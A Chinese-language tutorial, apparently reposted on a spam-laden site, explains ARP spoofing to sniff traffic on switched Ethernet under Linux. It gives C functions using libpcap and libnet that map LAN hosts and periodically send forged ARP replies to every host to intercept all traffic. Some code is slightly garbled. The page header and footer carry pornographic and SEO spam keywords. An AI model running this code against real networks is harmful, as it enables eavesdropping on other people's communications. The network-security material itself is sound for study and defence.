国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 學(xué)院 > 網(wǎng)絡(luò)通信 > 正文

交換型網(wǎng)絡(luò)環(huán)境嗅探原理及LINUX下的實(shí)現(xiàn)

2019-11-05 01:53:36
字體:
供稿:網(wǎng)友

  1. 以太網(wǎng)嗅探原理
  
  以太網(wǎng)環(huán)境下的嗅探本身是比較簡單的,只要網(wǎng)卡能設(shè)置成混雜模式且有數(shù)據(jù)包到達(dá)網(wǎng)卡,則可用多種方法捕捉數(shù)據(jù)包并進(jìn)行各種協(xié)議分析。在linux下可用RAW套接字,SOCK_PACKET套接字, LIBPCAP函數(shù)包等方法捕捉數(shù)據(jù)包,典型的應(yīng)用程序如TCPDUMP, LINUX_SNIFFER等。
  
  在共享型以太網(wǎng)中,上述兩個條件顯然是滿足的。所有的主機(jī)都連接到HUB,而HUB對數(shù)據(jù)包傳輸形式是廣播。這意味著發(fā)給某個主機(jī)的數(shù)據(jù)包也會被其它所有主機(jī)的網(wǎng)卡所收到。因此在這樣的環(huán)境中,任何設(shè)置成混雜模式的主機(jī),都可以捕捉發(fā)送給其它主機(jī)的數(shù)據(jù)包,從而竊聽網(wǎng)絡(luò)上的所有通信。
  
  在交換型以太網(wǎng)中,上述條件2是不滿足的。所有的主機(jī)連接到SWITCH,SWITCH比HUB更聰明,它知道每臺計算機(jī)的MAC地址信息和與之相連的特定端口,發(fā)給某個主機(jī)的數(shù)據(jù)包會被SWITCH從特定的端口送出,而不是象HUB那樣,廣播給網(wǎng)絡(luò)上所有的機(jī)器。這種傳輸形式使交換型以太網(wǎng)的性能大大提高,同時還有一個附加的作用:使傳統(tǒng)的嗅探器無法工作。
  
  綜上所述,交換型網(wǎng)絡(luò)環(huán)境嗅探的核心問題是:如何使本不應(yīng)到達(dá)的數(shù)據(jù)包到達(dá)本地。通常的方法有MAC洪水包和ARP欺騙。其中MAC洪水包是向交換機(jī)發(fā)送大量含有虛構(gòu)MAC地址和  
  2. 相關(guān)協(xié)議數(shù)據(jù)包格式
  
  以太數(shù)據(jù)包格式:
   
  類型0800 :IP數(shù)據(jù)包
  類型0806 :ARP數(shù)據(jù)包
  ARP數(shù)據(jù)包格式:
   
  ARP數(shù)據(jù)包簡化格式
  為了論述的簡潔性,我們把ARP數(shù)據(jù)包格式做一些簡化。 目的端MAC地址 源MAC地址 ARP包類型 發(fā)送端MAC地址 發(fā)送端IP地址 目的端MAC地址 目的端IP地址
  
  3. 實(shí)驗(yàn)環(huán)境
  
  為了更清楚的描述交換網(wǎng)絡(luò)的嗅探原理,我們建立一個虛構(gòu)的交換網(wǎng)絡(luò)環(huán)境, 在下面的論述中將用到這些數(shù)據(jù).
   
  4. ARP協(xié)議原理
  
  在以太網(wǎng)中傳輸?shù)臄?shù)據(jù)包是以太包,而以太包的尋址是依據(jù)其首部的物理地址(MAC地址)。僅僅知道某主機(jī)的邏輯地址(IP地址)并不能讓內(nèi)核發(fā)送一幀數(shù)據(jù)給此主機(jī),內(nèi)核必須知道目的主機(jī)的物理地址才能發(fā)送數(shù)據(jù)。ARP協(xié)議的作用就是在于把邏輯地址變換成物理地址,也既是把32bit的IP地址變換成48bit的以太地址。
  
  每一個主機(jī)都有一個ARP高速緩存,此緩存中記錄了最近一段時間內(nèi)其它IP地址與其MAC地址的對應(yīng)關(guān)系。假如本機(jī)想與某臺主機(jī)通信,則首先在ARP高速緩存中查找此臺主機(jī)的IP和MAC信息,假如存在,則直接利用此MAC地址構(gòu)造以太包;假如不存在,則向本網(wǎng)絡(luò)上每一個主機(jī)廣播一個ARP請求包,其意義是"假如你有此IP地址,請告訴我你的MAC地址",目的主機(jī)收到此請求包后,發(fā)送一個ARP響應(yīng)包,本機(jī)收到此響應(yīng)包后,把相關(guān)信息記錄在ARP高速緩存中,以下的步驟同上。
  
  可以看出,ARP協(xié)議是有缺點(diǎn)的,第三方主機(jī)可以構(gòu)造一個ARP欺騙包,而源主機(jī)卻無法分辨真假。
  
  5. ARP欺騙原理
  
  假設(shè)B(2.2.2.2)要與A(1.1.1.1)通信,且B的ARP高速緩存中沒有關(guān)于A的MAC信息,則B發(fā)出ARP請求包。
   
  此時,B的ARP高速緩存中關(guān)于A的記錄為(1.1.1.1 <-- --> 04:04:04),則B向A發(fā)IP包實(shí)際上是發(fā)到我的主機(jī)(4.4.4.4,04:04:04)。同理,假如我進(jìn)一步欺騙A,讓A的ARP高速緩存中關(guān)于B的記錄為(2.2.2.2 <-- --> 04:04:04), 則A向B發(fā)IP包實(shí)際上也是發(fā)到我的主機(jī)(4.4.4.4,04:04:04)。最后,我讓本機(jī)打開數(shù)據(jù)包轉(zhuǎn)發(fā),也既是充當(dāng)路由器,則A,B之間能正常通信,但我能全部捕捉到相關(guān)數(shù)據(jù)。
  
  以上討論的是欺騙兩臺主機(jī),假如我能讓局域網(wǎng)中每一臺主機(jī)的ARP高速緩存中關(guān)于其它任意一個主機(jī)所對應(yīng)的MAC地址都為我的MAC地址(04:04:04:04),則本局域網(wǎng)中所有數(shù)據(jù)包我都能捕捉到!
  
  6. 程序設(shè)計思路
  
  使用到的函數(shù)包
  libpcap : 捕捉ARP數(shù)據(jù)包。
  libnet : 獲得本機(jī)的MAC地址和IP地址;構(gòu)造和發(fā)送ARP欺騙包。
  這兩個的函數(shù)包的使用在網(wǎng)上資料很多,本文中不介紹。
  
  主要數(shù)據(jù)結(jié)構(gòu)
  程序中有兩個全局變量,MYIP代表本機(jī)的IP地址,MYMAC代表本機(jī)的MAC地址。
  程序中維護(hù)一個存放主機(jī)信息的鏈表:
  
  
  typedef strUCt host HOST;
  struct host
  {
   unsigned long ip;       // IP地址
   unsigned char mac[6];     // MAC地址
  int mac_flag;  // 0:MAC為空,1:MAC不為空
   HOST * next;
  };
  
  
  
  
  把握本局域網(wǎng)中每一臺主機(jī)的IP地址和MAC地址信息。
  利用libpcap捕捉網(wǎng)絡(luò)中的ARP請求/應(yīng)答包,最大限度的提取相關(guān)信息。如在第五節(jié)中的B對A的ARP請求包,我們可以提取出關(guān)于B的完整信息(2.2.2.2,02:02:02),也獲得了關(guān)于A的部分信息(1.1.1.1,null)。在知道網(wǎng)絡(luò)中有主機(jī)A的情況下,我們可以構(gòu)造并發(fā)送對A的ARP請求包,捕捉A的ARP應(yīng)答包,從而完整把握A的信息。同理,我們也可以捕捉TCP/UDP等數(shù)據(jù)包,從中提取信息。
  創(chuàng)建一個向鏈表增加主機(jī)信息的函數(shù):add_host(ip,mac), 每收到一個ARP請求/應(yīng)答包,都執(zhí)行add_host( )兩次:add_host(發(fā)送端IP,發(fā)送端MAC),add_host(目的端IP,目的端MAC)。
  在收到ARP應(yīng)答包時,首先檢查發(fā)送端的IP和MAC,假如IP不是自己的,但MAC是自己的,則說明此應(yīng)答包是本機(jī)構(gòu)造的ARP欺騙包,程序忽略。
  對于正常的ARP請求包和應(yīng)答包,add_host(ip, mac )中IP或MAC只要有一個是自己的(ip == MYIP mac ==MYMAC),則程序忽略。顯然,沒有必要自己欺騙自己。
  add_host(ip,mac)遍歷主機(jī)鏈表,假如IP存在,且MAC不空,則把MAC地址寫入;假如不存在,則增加一個HOST節(jié)點(diǎn),寫入IP地址,假如MAC不空,則也把MAC地址寫入。 注重到這樣一個情況:在ARP請求包中,目的MAC地址是沒有意義的,所以我們只寫入IP地址,而MAC地址用NULL來表示。這是我們收集網(wǎng)絡(luò)拓樸結(jié)構(gòu)的一種被動方法。
  
  函數(shù)add_host( )邏輯設(shè)計MYIP = IP(d),MYMAC = MAC(d)
  
  代碼如下:
  
  
  void add_host(u_long ip, u_char * mac)
  {
   HOST * new = NULL;
   HOST * cur = NULL;
  
   if( (ip == MYIP) (mac && mac_equal(mac, MYMAC)) )
   return;
  
   //遍歷鏈表查詢IP地址
   for(cur = head; cur; cur = cur->next)
   {
   if( ip == cur->ip )
   {
   if( mac ) // MAC地址不空,則寫入
   {
   memcpy(cur->mac, mac, ETHER_ADDR_LEN);
   cur->mac_flag = 1;
   }
   return;
   }
   }
   if(cur == NULL) // 鏈表中沒有此IP地址
   {
   new = (HOST *)malloc(sizeof(HOST));
   new->ip = ip;
   if( mac )
   {
   memcpy(new->mac, mac, ETHER_ADDR_LEN);
   new->mac_flag = 1;
   }
   else
   new->mac_flag = 0;
   new->next = NULL;
   if(! head)   // 把新節(jié)點(diǎn)加入鏈表
   {
   head = new;
   tail = new;
   }
   else
   {
   tail->next = new;
   tail = new;
   } 
   }
   return;
  }
  
  
  
  
  周期性的向局域網(wǎng)中每一臺主機(jī)發(fā)送ARP欺騙包。
  創(chuàng)建一個發(fā)送ARP欺騙包的函數(shù)send_fake_arp_packet(),遍歷主機(jī)鏈表的每一個IP地址,假如此IP地址的MAC地址已知,則遍歷主機(jī)鏈表中其它IP地址,以其它IP地址和本機(jī)的MAC地址為發(fā)送端,以選中的IP地址和MAC地址為目的端,構(gòu)造并發(fā)送ARP應(yīng)答欺騙包;假如此IP地址的MAC地址未知,則以本機(jī)IP地址和MAC地址為發(fā)送端,以選中的IP地址為目的端,構(gòu)造并發(fā)送正常的ARP請求包。注重,這是我們收集網(wǎng)絡(luò)拓樸結(jié)構(gòu)的一種主動方法。
  ARP高速緩存中的記錄都有過期時間,不同的
操作系統(tǒng)有不同的設(shè)置.在實(shí)施中,我們只需以較短的時間周期性的發(fā)ARP欺騙包,則可解決這個問題.
  代碼如下:
  
  
   void send_fake_arp_packet()
  {
   HOST * temp, * cur;
   u_char broad[6] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff};
  
  for(cur = head; cur ; cur = cur->next)
   {
  
  if( cur->mac_flag == 0) 
  {
  // 構(gòu)造ARP請求包請求此IP地址的MAC地址
   libnet_build_ethernet(broad, MYMAC, ETHERTYPE_ARP, NULL, 0, packet);
   libnet_build_arp(ARPHRD_ETHER, ETHERTYPE_IP, ETHER_ADDR_LEN, 4, ARPOP_REQUEST,
   MYMAC, (u_char *)&MYIP, (u_char *)broad,(u_char *)&cur->ip, NULL, 0, (packet + LIBNET_ETH_H));
   if((libnet_write_link_layer(netif, device, packet, (LIBNET_ETH_H + LIBNET_ARP_H))) < 0)
   errexit("libnet_write_link_layer error/n");
  
   continue;
   }
   for(temp = head; temp; temp = temp->next)
   {
   if (temp == cur)
   continue;
  
   libnet_build_ethernet(cur->mac, MYMAC, ETHERTYPE_ARP, NULL, 0, packet);
   libnet_build_arp(ARPHRD_ETHER, ETHERTYPE_IP, ETHER_ADDR_LEN, 4, ARPOP_REPLY,
   MYMAC, (u_char *)&temp->ip, cur->mac,(u_char *)&cur->ip, NULL, 0, (packet + LIBNET_ETH_H));
   if((libnet_write_link_layer(netif, device, packet, (LIBNET_ETH_H + LIBNET_ARP_H))) < 0)
   errexit("libnet_write_link_layer error/n");
   }
   }
  }
  
  
  
  正確處理一個以太包實(shí)際被捕捉兩次的情況。例如:捕捉到B發(fā)向A的以太包,第一次為(2.2.2.2,02:02:02)->(1.1.1.1,04:04:04),第二次為(2.2.2.2,04:04:04)->(1.1.1.1,01:01:01)。區(qū)分這兩次捕捉的規(guī)則很簡單:目標(biāo)IP 不為本IP且目標(biāo)MAC為本MAC就是第一次;源IP不為本IP且源MAC為本MAC就是第二次。在實(shí)際處理中,可任取一種包并把源/目的MAC改寫,對另一種包忽略即可。
  7. 相關(guān)說明
  
  這種ARP欺騙是以主機(jī)的ARP高速緩存可以動態(tài)改變?yōu)榍疤岬模偃鏏RP高速緩存中某一IP的MAC地址被設(shè)為靜態(tài)(static),則對關(guān)于此IP的欺騙是顯然不成立的。
  為了盡快的把握網(wǎng)絡(luò)中主機(jī)的地址信息,應(yīng)至少對ARP請求包和ARP應(yīng)答包都處理。假如只處理ARP請求包,則在此刻只能把握發(fā)端主機(jī)的信息,并只能欺騙發(fā)端主機(jī)。在實(shí)際的IP包捕捉中,就會看到單邊數(shù)據(jù)包。當(dāng)然,在程序運(yùn)行一段時間后,所有主機(jī)信息也能全部把握,但效率顯然是不高的。假如再加上對未知MAC的IP的主動請求,則捕捉所有數(shù)據(jù)包可在較短時間內(nèi)完成。(在實(shí)際的C類網(wǎng)中測試,不到一分鐘)


發(fā)表評論 共有條評論
用戶名: 密碼:
驗(yàn)證碼: 匿名發(fā)表
主站蜘蛛池模板: 沁阳市| 双流县| 彰武县| 商水县| 昌图县| 烟台市| 轮台县| 铜梁县| 湟源县| 肇州县| 上虞市| 汾西县| 长治市| 原平市| 浦江县| 元江| 济南市| 邢台县| 嘉峪关市| 崇信县| 盐边县| 涞水县| 宁海县| 遂溪县| 孟连| 新营市| 延吉市| 通道| 韩城市| 观塘区| 禄劝| 福海县| 台湾省| 谷城县| 永顺县| 蕲春县| 宁都县| 新沂市| 原阳县| 乌鲁木齐县| 乐平市|